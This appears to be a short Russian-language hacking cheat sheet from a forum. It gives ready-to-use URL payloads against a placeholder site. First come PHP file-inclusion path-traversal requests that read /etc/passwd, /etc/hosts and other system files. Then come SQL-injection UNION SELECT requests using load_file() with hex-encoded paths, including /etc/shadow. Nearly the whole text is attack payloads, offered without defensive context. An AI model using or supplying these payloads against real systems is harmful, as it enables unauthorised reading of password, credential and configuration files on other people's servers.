1. PHP-Inj:
- Пишем url: http://site.ru/include.php?file=[php]
- Результат

Цитата:

http://site.ru/include.php?file=../../../../../../../../../../../../etc/passwd
http://site.ru/include.php?file=../../../../../../../../../../../../etc/hosts
http://site.ru/include.php?file=../../../../../../../../../../../../etc/ftpusers
http://site.ru/include.php?file=../../../../../../../../../../../../etc/syslog.conf
http://site.ru/include.php?file=../../../../../../../../../../../../etc/services
http://site.ru/include.php?file=../../../../../../../../../../../../etc/group
http://site.ru/include.php?file=../../../../../../../../../../../../etc/bash.bashrc
http://site.ru/include.php?file=../../../../../../../../../../../../etc/profile
http://site.ru/include.php?file=../../../../../../../../../../../../etc/skel/.bashrc

2. SQL-Inj:
- Пишем url: http://site.ru/users.php?id=[sql]
- Колумнов: 12
- Ставим запрос на: 7
- Результат

Цитата:

http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f7 06173737764),8,9,10,11,12
http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f7 36861646f77),8,9,10,11,12
http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f6 86f737473),8,9,10,11,12
http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f7 365727669636573),8,9,10,11,12
http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f6 7726f7570),8,9,10,11,12
http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f6 e6574776f726b73),8,9,10,11,12
http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f7 0726f66696c65),8,9,10,11,12
http://site.ru/users.php?id=-1+union+select+1,2,3,4,5,6,load_file(0x2f6574632f7 36b656c2f2e626173687263),8,9,10,11,12